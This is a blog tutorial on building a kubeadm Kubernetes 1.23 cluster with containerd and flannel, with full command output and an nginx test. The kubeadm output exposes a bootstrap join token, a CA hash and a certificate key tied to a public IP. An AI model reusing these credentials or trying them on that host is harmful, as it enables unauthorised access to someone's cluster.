## Step2 - Run the kubeadm init command on the control plane node
Here the pod network CIDR is dependent on the CNI you will be installing later on, so in this case, I am using flannel, and `--control-plane-endpoint` will be the public IP for the instance(it can be private IP as well but if you want to access it from outside of the node by using Kubeconfig then you need to give the public IP).
 

```
sudo kubeadm init   --pod-network-cidr=10.244.0.0/16   --upload-certs --kubernetes-version=v1.23.0   --control-plane-endpoint=212.2.245.195 --ignore-preflight-errors=Mem  --cri-socket /run/containerd/containerd.sock
```

The above command will give the following output 


```
[init] Using Kubernetes version: v1.23.0
[preflight] Running pre-flight checks
[preflight] Pulling images required for setting up a Kubernetes cluster
[preflight] This might take a minute or two, depending on the speed of your internet connection
[preflight] You can also perform this action in beforehand using 'kubeadm config images pull'
[certs] Using certificateDir folder "/etc/kubernetes/pki"
[certs] Generating "ca" certificate and key
[certs] Generating "apiserver" certificate and key
[certs] apiserver serving cert is signed for DNS names [controlplane-a5cc-7809a2 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [10.96.0.1 192.168.1.3 212.2.245.195]
[certs] Generating "apiserver-kubelet-client" certificate and key
[certs] Generating "front-proxy-ca" certificate and key
[certs] Generating "front-proxy-client" certificate and key
[certs] Generating "etcd/ca" certificate and key
[certs] Generating "etcd/server" certificate and key
[certs] etcd/server serving cert is signed for DNS names [controlplane-a5cc-7809a2 localhost] and IPs [192.168.1.3 127.0.0.1 ::1]
[certs] Generating "etcd/peer" certificate and key
[certs] etcd/peer serving cert is signed for DNS names [controlplane-a5cc-7809a2 localhost] and IPs [192.168.1.3 127.0.0.1 ::1]
[certs] Generating "etcd/healthcheck-client" certificate and key
[certs] Generating "apiserver-etcd-client" certificate and key
[certs] Generating "sa" key and public key
[kubeconfig] Using kubeconfig folder "/etc/kubernetes"
[kubeconfig] Writing "admin.conf" kubeconfig file
[kubeconfig] Writing "kubelet.conf" kubeconfig file
[kubeconfig] Writing "controller-manager.conf" kubeconfig file
[kubeconfig] Writing "scheduler.conf" kubeconfig file
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Starting the kubelet
[control-plane] Using manifest folder "/etc/kubernetes/manifests"
[control-plane] Creating static Pod manifest for "kube-apiserver"
[control-plane] Creating static Pod manifest for "kube-controller-manager"
[control-plane] Creating static Pod manifest for "kube-scheduler"
[etcd] Creating static Pod manifest for local etcd in "/etc/kubernetes/manifests"
[wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s
[apiclient] All control plane components are healthy after 20.508399 seconds
[upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config-1.23" in namespace kube-system with the configuration for the kubelets in the cluster
NOTE: The "kubelet-config-1.23" naming of the kubelet ConfigMap is deprecated. Once the UnversionedKubeletConfigMap feature gate graduates to Beta the default name will become just "kubelet-config". Kubeadm upgrade will handle this transition transparently.
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
f494d447a8f290f287ffd4c3028b0024392c731e2d4b98df2b4f97d34741b7da
[mark-control-plane] Marking the node controlplane-a5cc-7809a2 as control-plane by adding the labels: [node-role.kubernetes.io/master(deprecated) node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers]
[mark-control-plane] Marking the node controlplane-a5cc-7809a2 as control-plane by adding the taints [node-role.kubernetes.io/master:NoSchedule]
[bootstrap-token] Using token: zxrkhi.6m5vgdjbn8dk4n0x
[bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to get nodes
[bootstrap-token] configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstrap-token] configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstrap-token] configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace
[kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

Alternatively, if you are the root user, you can run:

  export KUBECONFIG=/etc/kubernetes/admin.conf

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of the control-plane node running the following command on each as root:

  kubeadm join 212.2.245.195:6443 --token zxrkhi.6m5vgdjbn8dk4n0x \
	--discovery-token-ca-cert-hash sha256:07597e98c68c34d611380d37d7d102e4118647372b84e3332c04861f649abd1d \
	--control-plane --certificate-key f494d447a8f290f287ffd4c3028b0024392c731e2d4b98df2b4f97d34741b7da

Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 212.2.245.195:6443 --token zxrkhi.6m5vgdjbn8dk4n0x \
	--discovery-token-ca-cert-hash sha256:07597e98c68c34d611380d37d7d102e4118647372b84e3332c04861f649abd1d```


**Export KUBECONFIG and install CNI Flannel 
**
```
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl apply -f https://github.com/coreos/flannel/raw/master/Documentation/kube-flannel.yml

```

## Step 3 Run the join command on all the worker nodes

```
kubeadm join 212.2.245.195:6443 --token zxrkhi.6m5vgdjbn8dk4n0x \
> --discovery-token-ca-cert-hash sha256:07597e98c68c34d611380d37d7d102e4118647372b84e3332c04861f649abd1d
[preflight] Running pre-flight checks
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
W0323 11:13:44.062189    5069 utils.go:69] The recommended value for "resolvConf" in "KubeletConfiguration" is: /run/systemd/resolve/resolv.conf; the provided value is: /run/systemd/resolve/resolv.conf
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.

```

## Step 4 Nginx Test

You can copy the kubeconfig file from the controlplane node(~/.kube/config ) to local and export the KUBECONFIG variable or directly access the cluster from the controlplane node. 

```
kubectl get nodes
NAME                       STATUS   ROLES                  AGE    VERSION
controlplane-a5cc-7809a2   Ready    control-plane,master   60m    v1.23.0
worker-1-937f-f397dd       Ready    <none>                 112s   v1.23.0
worker-2-e26c-f397dd       Ready    <none>                 84s    v1.23.0
worker-3-1c4e-f397dd       Ready    <none>                 82s    v1.23.0
```

The cluster is up and running with single controlplane and 3 worker nodes.

Now run nginx 

```
kubectl run nginx --image=nginx
pod/nginx created

kubectl expose pod nginx --type=NodePort --port 80
service/nginx exposed

kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          48s

kubectl get svc nginx
NAME    TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
nginx   NodePort   10.100.218.181   <none>        80:31393/TCP   34s

```

Access the service using Node public IP:31393(make sure your firewall rules are properly set to allow traffic to required ports)


![image.png](/img/blog/kubernetes-containerd-setup/abPj9oi_a.png)


YAY!! you have successfully setup a self managed Kubernetes cluster, version 1.23.0 and containerd as the container runtime. 

Join the awesome kubesimplify community for more such blogs!